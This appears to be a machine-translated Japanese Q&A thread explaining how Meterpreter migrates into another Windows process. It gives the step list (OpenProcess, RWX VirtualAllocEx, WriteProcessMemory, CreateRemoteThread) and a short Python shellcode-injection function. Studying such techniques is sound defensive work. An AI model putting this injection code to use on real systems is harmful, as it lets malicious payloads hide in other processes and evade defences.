web-dev-qa-db-ja.com

Meterpreterでのプロセスの移行の仕組み

WindowsのMeterpreterでプロセスの移行がどのように機能するかを誰かが理解しようとしましたか?それを学ぶために自分のスクリプトを作りたいのですが、その出発点を見つけることができません。まあ、私はNtQuerySystemInformationライブラリとそのSystemHandleInformation関数を使用するというアイデアを持っています。OSでスレッドのハンドルを返すことができ、それらを使用して親を変更できるからです。仕事に行く(TEBのため)。そして、NtQuerySystemInformationよりも簡単な方法があるはずだと感じています。誰かがDLLまたは使用するアルゴリズムを提案しますか?

17

これは、meterpreterでの移行の仕組みです。

  1. ユーザーが移行したいPIDを取得します。これがターゲットプロセスです。
  2. ターゲットプロセスのアーキテクチャが32ビットか64ビットかを確認してください。メモリーの調整には重要です。
  3. MeterpreterプロセスにSeDebugPrivilegeがあるかどうかを確認します。これは、ターゲットプロセスへのハンドルを取得するために使用されます。 http://support.Microsoft.com/kb/131065 の詳細
  4. ターゲットプロセスに注入されるハンドラーから実際のペイロードを取得します。その長さも計算します。
  5. OpenProcess()APIを呼び出して、ターゲットプロセスの仮想メモリにアクセスします。
  6. VirtualAllocEx()APIを呼び出して、ターゲットプロセスにRWX(読み取り、書き込み、実行)メモリを割り当てます。
  7. WriteProcessMemory()APIを呼び出して、ターゲットメモリの仮想メモリ空​​間にペイロードを書き込みます。
  8. CreateRemoteThread()APIを呼び出して、新しいスレッドでペイロードが挿入された、新しく作成されたメモリスタブを実行します。
  9. 以前のプロセスで初期meterpreterを実行している前のスレッドをシャットダウンします。
18
void_in

Githubの 最も深い場所 のどこかに必要なすべてのことを実行するこのコードを見つけたので、この情報を探す人は以下のAPI関数で答えを見つけることができます。

def injectshellcode(self, shellcode):
    """This function merely executes what it is given"""
    shellcodeaddress = self.kernel32.VirtualAllocEx(
                                                    self.handle,
                                                    None,
                                                    len(shellcode),
                                                    0x1000,
                                                    0x40
                                                    )
    self.kernel32.WriteProcessMemory(
                                    self.handle,
                                    shellcodeaddress,
                                    shellcode,
                                    len(shellcode),
                                    None
                                    )
    thread = self.kernel32.CreateRemoteThread(
                                    self.handle,
                                    None,
                                    0,
                                    shellcodeaddress,
                                    None,
                                    0,
                                    None
                                    )
2